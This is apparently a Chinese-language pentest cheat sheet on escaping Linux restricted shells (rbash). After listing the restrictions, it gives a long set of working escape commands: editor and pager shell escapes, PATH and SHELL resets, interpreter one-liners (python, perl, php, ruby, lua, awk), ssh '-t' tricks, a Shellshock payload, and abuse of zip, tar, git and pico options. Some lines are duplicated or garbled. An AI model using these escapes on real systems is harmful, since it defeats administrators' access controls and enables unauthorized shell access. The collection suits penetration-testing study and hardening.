受限的shell
44592-linux-restricted-shell-bypass-guide.pdf
如果bash以rbash名称启动,或者启动时使用了-r选项,那么它成为受限的 shell。
受限的 shell 一般用来建立一个比标准的 shell 受到更多控制的环境。
受限shell的以下行为是不允许的
- cd切换目录
- 设置或取消SHELL,PATH,ENV,或BASH_ENV变量的值;
- 设置或取消SHELL,PATH,ENV,或BASH_ENV变量的值;
- 指定的命令名中包含/;
- 指定包含/的文件名作为传递给内建命令.的参数;
- 指定包含斜杠 (slash) 的文件名作为-p选项的参数,传递给hash内建命令;
- 启动时从 shell 环境中导入 (import) 函数定义;
- 启动时解释 shell 环境中 SHELLOPTS 的值;
- 使用
>,>|,<>,>&,&>, 和>>等重定向操作符重定向输出; - 使用exec内建命令来以另一个命令替换 shell;
- 使用enable内建命令的-f和-d选项来增加和删除内建命令;
- 使用 enable 内建命令来允许和禁止 shell 内建命令;
- 指定command内建命令的-p选项;
- 使用 set +r 或 set +o restricted 来关闭受限模式。
突破受限的shell
rbash 提供的环境的安全程度取决于用户能执行的命令,以下是 利用
vi 逃逸处受限的环境
vi:set shell=/bin/sh:shell
查看自己所处的环境
- 运行 env 查看环境变量
- 运行 echo $PATH 查找路径设置
- 运行 echo $shell 或者 echo $0 查看运行的shell环境
- 查看基本的命令,例如ls,pwd,cd ..,env,set,export,vi,cp,mv
shell变量和路径设置
- 如果 / 允使用,直接运行 /bin/sh
- 如果可以进行路径设置、shell变量设置,就可以运行
export PATH=/bin:/usr/bin:$PATHexport SHELL=/bin/sh
- 如果可以赋值文件到存在的路径,就可以运行
cp /bin/sh /some/dir/from/PATH; sh
通过系统命令绕过
- ftp->!/bin/sh
- gdb->!/bin/sh
- more/less/man->!/bin/sh
- vi/vim->:!/bin/sh
- scp -S tmp/getMeOut.sh x y
- awk ‘BEGIN {system(‘/bin/sh’)}’
- find / -name someName-exec /bin/sh ;
逃脱限制:
- 在远程shell连接加载完成之前执行系统命令
ssh test@IP -t '/bin/sh'
- 在远程shell开始的时候,不加载限制配置文件
ssh test@IP -t "bash --noprofile"
- 尝试破壳漏洞
ssh test@IP -t "() { :; }; /bin/bash"
更加深入:
- 通过编程语言调用shell
- 使用 except > except spawn sh,然后执行sh
- 使用 python > python3 -c ‘import os; os.system(“/bin/sh”)’
- 使用 php > php -a ,然后执行 exec(“sh -i”);
- 使用 perl > perl -e ‘exec “/bin/sh”;’
- 使用 lua > os.execute(‘/bin/sh’).
- 使用 ruby > exec “/bin/sh”
- 历史文件技巧
- 将一个想要重写的文件中设置HISTFILE变量
- 将HISTFILE变量从0到100逐渐递增
- 执行文件中每行写入的内容
- 登出并重新登陆。这样就将所想写入的内容指向了HISTFILE文件(原文件权限保持不变)
1)使用 ssh > ssh username@IP - t “/bin/sh” 或者 “/bin/bash”
2)使用 ssh2 > ssh username@IP -t “bash —noprofile”
3)使用 ssh3 > ssh username@IP -t “() { :; }; /bin/bash” (shellshock)
4)使用 ssh4 > ssh -o ProxyCommand=”sh -c /tmp/yourfile.sh” 127.0.0.1 (SUID)
5)使用 git > git help status > ,然后就可以运行 !/bin/bash了
6)使用 pico > pico -s “/bin/bash” ,然后就可以对 /bin/bash 执行写操作,最后执行 CTRL + T
7)使用 zip > zip /tmp/test.zip /tmp/test -T —unzip-command=”sh -c/bin/bash”
8)使用 tar > tar cf /dev/null testfile —checkpoint=1 —checkpointaction=exec=/bin/bash
https://en.wikipedia.org/wiki/Restricted_shell#Weaknesses_of_a_restricted_shell http://pentestmonkey.net/blog/rbash-scp
